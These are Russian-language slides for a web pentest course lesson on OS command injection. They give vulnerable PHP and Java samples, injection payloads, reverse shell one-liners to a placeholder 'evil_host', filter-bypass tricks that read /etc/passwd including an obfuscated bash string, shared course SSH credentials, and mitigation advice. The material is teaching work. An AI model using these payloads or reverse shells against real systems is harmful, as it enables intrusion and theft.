--- title: Web App Pentest - 0x03 - OS Command Injection tags: CSR - Web App Pentest slideOptions: transition: 'fade' parallaxBackgroundImage: 'https://i.imgur.com/YClZ1aY.jpg' --- <style> .reveal { font-size: 36px; } </style> # Web App Pentest ## 3 - OS Command Injection --- Вопросы по заданиям? --- ## Темы занятия * Уязвимость OS Command injection * Reverse shell * Code Injection * Рекомендации по исключению --- ## Лирическое отсутупление ### Пентест web vs Анализ защищенности web Цель пентеста - взломать веб-приложение и использовать его для развития атаки. Как правило пентестерам интересны только уязвимости высокого уровня критичности. Цель анализа защищенности - найти все уязвимости. --- ### Docker Docker - система контейнеризации. Для нас удобна тем, что позволяет поднимать приложения одной кнопкой. BWAPP UP ## OS Command injection --- ## A03:2021-Injection Уязвимости к инъекциям, таким как инъекции SQL, NoSQL, Command и LDAP, возникают, когда ненадежные данные отправляются интерпретатору как часть команды или запроса. Внедренные данные злоумышленника могут заставить интерпретатор выполнить непреднамеренные команды или дать возможность получить доступ к данным без надлежащей авторизации. --- ## OS Command Injection Уязвимость при которой веб-приложение небезопасно подставляет данные, полученные от пользователя в текст команды ОС, которая передается в командную оболочку ОС. --- ```php= <?php $command = 'mkdir ' + $_REQUEST['dirname']; system($command); ?> ``` --- ```php= <?php $command = 'mkdir ' + $_REQUEST['dirname']; system($command); ?> ``` `http://vuln.example.com/?dirname=tmp; whoami` --- ```php= <?php $command = 'mkdir ' + $_REQUEST['dirname']; system($command); ?> ``` `http://vuln.example.com/?dirname=; whoami` ```php echo $command; mkdir tmp; whoami ``` --- ## OS Command injection Пример в bWAPP `docker run -p 80:80 raesene/bwapp` * OS Command injection * Совместная практика - root-me-PHP Command Injection * OS Command injection (Blind) --- ## Еще примеры Пример уязвимости инъекции команд: ``` $command = 'convert -pointsize 72 label:Hello ' . $_FILES['userfile']['name']; system($command); ``` Пример эксплуатации для уязвимости выше: ``` ------WebKitFormBoundaryePkpFF7tjBAqx29L Content-Disposition: form-data; name="userfile"; filename="check | ls -la;" Content-Type: application/x-object ... contents of file goes here ... ``` ### Code examples [VulnPlanet - a03 injection code example](https://github.com/yevh/VulnPlanet/blob/main/web2/owasp/A03-Injection.md) [VulnPlanet - command injection](https://github.com/yevh/VulnPlanet/blob/main/web2/type/Command_Injection.md) #### PHP CVE-2019-16663 [Two unpatched RCE flaws in rConfig software expose servers to hack](https://securityaffairs.com/93391/hacking/rconfig-rce-flaws.html) ```php! <?php $rootUname = $_GET['rootUname']; $array = array(); /* check PHP Safe_Mode is off */ if (ini_get('safe_mode')) { $array['phpSafeMode'] = '<strong><font class="bad">Fail - php safe mode is on - turn it off before you proceed with the installation</strong></font>br/>'; } else { $array['phpSafeMode'] = '<strong><font class="Good">Pass - php safe mode is off</strong></font><br/>'; } /* Test root account details */ $rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2>&1'; exec($rootTestCmd1, $cmdOutput, $err); $homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4); if ($homeDirPerms == '0777') { $array['rootDetails'] = '<strong><font class="Good">Pass - root account details are good </strong></font><br/>'; } else { $array['rootDetails'] = '<strong><font class="bad">The root details provided have not passed: ' . $cmdOutput[0] . '</strong></font><br/>'; } // reset /home dir permissions $rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2>&1'; exec($rootTestCmd2, $cmdOutput, $err); echo json_encode($array); ``` [Code Security Advent Calendar 2022 | Can you Spot the Vulnerability? | Sonar](https://www.sonarsource.com/knowledge/code-challenges/advent-calendar-2022/) - day 10 - java [Real attack - PHP Supply Chain Attack on Composer](https://www.sonarsource.com/blog/php-supply-chain-attack-on-composer/) ```java! @WebServlet(name = "MercurialImporterServlet", urlPatterns = {"/check"}) public class MercurialImporterServlet extends HttpServlet { @Override protected void doPut(HttpServletRequest req, HttpServletResponse res) throws IOException { res.setContentType("text/plain"); var out = res.getOutputStream(); if (req.getParameter("repository") == null || req.getParameter("repository").indexOf("$(") != -1 || req.getParameter("repository").indexOf("`") != -1) { res.setStatus(405); return; } var cmd = new String[] { "hg", "identify", req.getParameter("repository") }; var p = Runtime.getRuntime().exec(cmd); var br = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; while ((l = br.readLine()) != null) { out.write(l.getBytes("ascii")); } br.close(); } } ``` `repository=--config=alias.identify=!id` ## Reverse shell Соединяется по TCP на слушаемый атакующим адрес/порт и позволяет атакующему выполнять команды в ОС жертвы. [cheat sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) https://www.revshells.com/ Два основных варианта: * /bin/bash -c "/bin/bash -i &>/dev/tcp/evil_host/4444 <&1" * nc evil_host 4444 -e /bin/bash Вопрос: Зачем обертка в первом варианте? --- ## Back connect receiver Для тех, у кого нету сервера в интернете Коннектится так: `ssh cybered@ttesting.ru -p 2222` Пароль: cybered_password На Windows можно использовать ~~putty или xshell~~ тоже `ssh cybered@ttesting.ru -p 2222` Вам будут доступны порты 7000-7100 Слушать порт: `nc -lvp <ваш_порт>` --- ## Совместная практика - `Reverse Shell` --- ## Прокачать reverse shell https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ ``` # In reverse shell $ python3 -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z # In Kali $ stty -a (понять сколько rows и columns, использовать в последней команде) $ stty raw -echo $ fg # In reverse shell $ export SHELL=bash $ export TERM=xterm-256color $ reset $ stty rows <num> columns <cols> ``` --- ## OS Command injection - техники Отделение одной команды от другой: * `;` * `|` * символ новой строки (0x0a) * логических операторов `&&` или `||` (в зависимости от результата первой команды) Выполнение подкоманды: * в бэктиках ``` `ls` ```; * через доллар `$(ls)` * перенаправление в подпроцесс ` >(/bin/bash ....)` --- ### Мета - символы | Injection Operator | Injection Character | URL-Encoded Character | Executed Command | |-|-|-|-| |Semicolon| ;|%3b|Both| |New Line| \n|%0a|Both| |Background| &|%26|Both (second output generally shown first)| |Pipe| \||%7c|Both (only second output is shown)| |AND| &&|%26%26|Both (only if first succeeds)| |OR| \|\||%7c%7c|Second (only if first fails)| |Sub-Shell| `` |%60%60|Both (Linux-only)| |Sub-Shell| $()|%24%28%29|Both (Linux-only)| ___ ## OS Command injection - обход фильтрации `$IFS` - переменная среды, хранит символ разделителя полей, по умолчанию это пробел. Можно использовать вместо пробела при его недоступности: `cat$IFS/etc/passwd` Также программы можно вызывать через фигурные скобки `{cat,/etc/issue}` Также так `cat</etc/passwd` А еще так `c"a"t /e*c/""p?ss*d` И даже вот так `${!#}<<<{\$\'\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}${##}$#))\'\$\'\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}$#${##}))\'\$\'\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))\'\$\'\\$(($((${##}<<${##}))#${##}$#$#${##}$#${##}${##}$#))\',\$\'\\$(($((${##}<<${##}))#${##}${##}$#${##}${##}${##}))\'\$\'\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}${##}${##}))\',\$\'\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}$#${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#${##}$#$#))\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#))\\$(($((${##}<<${##}))#${##}${##}${##}$#$#${##}))\\$(($((${##}<<${##}))#${##}$#$#${##}$#$#$#${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#${##}$#$#))\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${##}${##}$#$#${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#$#$#))\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}$#${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#${##}${##}${##}))\\$(($((${##}<<${##}))#${##}$#$#${##}$#$#$#$#))\'}` --- ## Code Injection Контролируемые атакующим данные подставляются в программный код, после чего он исполняется веб-приложением. Пример: bWAPP: PHP Code Injection --- ## OS Command Injection Результат - **Remote Command Execution**. Или - **Remote Code Execution**. И то и другое называют **RCE** --- ## OS Command Injection. Как обнаруживать? ### Сканирование на OS Command Injection Автоматизированная проверка большого количества векторов атаки. Вопрос: как проверять что инъекция сработала успешна? Особенно для blind? --- ## OS Command Injection. Как обнаруживать? ### Сканирование на OS Command Injection Хорошие способы: - DNS запрос; - временная задержка. Вопрос: Почему DNS запрос лучше TCP-коннекта? https://github.com/sorokinpf/cth_wordlists/tree/master/OS%20cmd%20inj/time-based <демонстрация в Intruder> --- ## OS Command Injection. Как защититься? Можно выделить два уровня защиты: * Валидация входных данных * Безопасный вызов команд ОС --- ## OS Command injection. Как защититься? ### Валидация * Соответствие типу данных * Корректность формата * Регулярные выражения * Разрешенный набор символов --- ## OS Command injection. Как защититься? #### Валидация ОДНОЙ ВАЛИДАЦИИ НЕДОСТАТОЧНО!!! Но в некоторых случаях она может предотвратить уязвимости, а также другие "баги" --- ## OS Command injection. Как защититься? #### Валидация Современные фреймворки имеют специальные компоненты для валидации ```php= public function createUser(Request $request) { $this->validate($request, [ 'login' => 'required|max:255', 'age' => 'required|integer', 'email' => 'required|email', 'body' => 'required', ]); ... } ``` Пример: **Laravel** --- ## OS Command injection. Как защититься? ### Безопасный вызов команд ОС 1. Может можно вообще без команд? Для огромного количества различных функций реализованы библиотеки. 1. Используйте функции языка для вызова других программ без обращения к оболочке ОС (proc_open в PHP) 1. По возможности не передавайте пользовательский ввод в командную оболочку. 1. В крайнем случае используйте специальные функции для экранирования (escapeshellargs,escapeshellcmd в PHP) --- ## OS Command injection. Как защититься? Экранирование специальных символов Нужно быть аккуратным, некоторые команды могут принимать параметры, приводящие к выполнению команд даже в случае корректной фильтрации. Пример: ```bash= find . -exec whoami \; -quit ``` Список таких команд: https://gtfobins.github.io/ --- ## OS Command injection. Как защититься? PHP Экранирование специальных символов в PHP: - escapeshellarg - escapechellcmd ```php system("mkdir ".escapeshellarg($_POST['dirname'])); ``` --- ## OS Command injection. Как защититься? PHP Вызов команды напрямую, без шелла (PHP>=7.4): ```php proc_open(['mkdir',$_POST['dirname'] ],[],$pipes); ``` --- ## OS Command injection. Как защититься? Java `Runtime.exec` и `ProcessBuilder` по умолчанию не передает данные в шелл. Вызывать можно так: ```java Runtime.exec(['command',param1,param2]); .. = new ProcessBuilder('command',param1,param2); ``` Но угрозы типа описанной выше для `find` актуальны. Также все еже может быть: ```java Runtime.exec(["/bin/bash", "-c", "mkdir " + request.getParameter("value1")]); ``` --- ## OS Command injection. Как защититься? C# `System.Diagnostics.Process.Start` так же не использует shell по умолчанию. Но ```C# process.Start("cmd.exe","/c mkdir "+parameter1); ``` --- ## Примеры https://hackerone.com/reports/821962 https://hackerone.com/reports/212696 https://hackerone.com/reports/1360208 https://hackerone.com/reports/389561 https://hackerone.com/reports/303061 ___ ## Задания - тест для самопроверки в LMS - CTFD - root-me PHP - Command injection - root-me Command injection - Filter bypass - PortSwigger Academy - OS Command Injection ---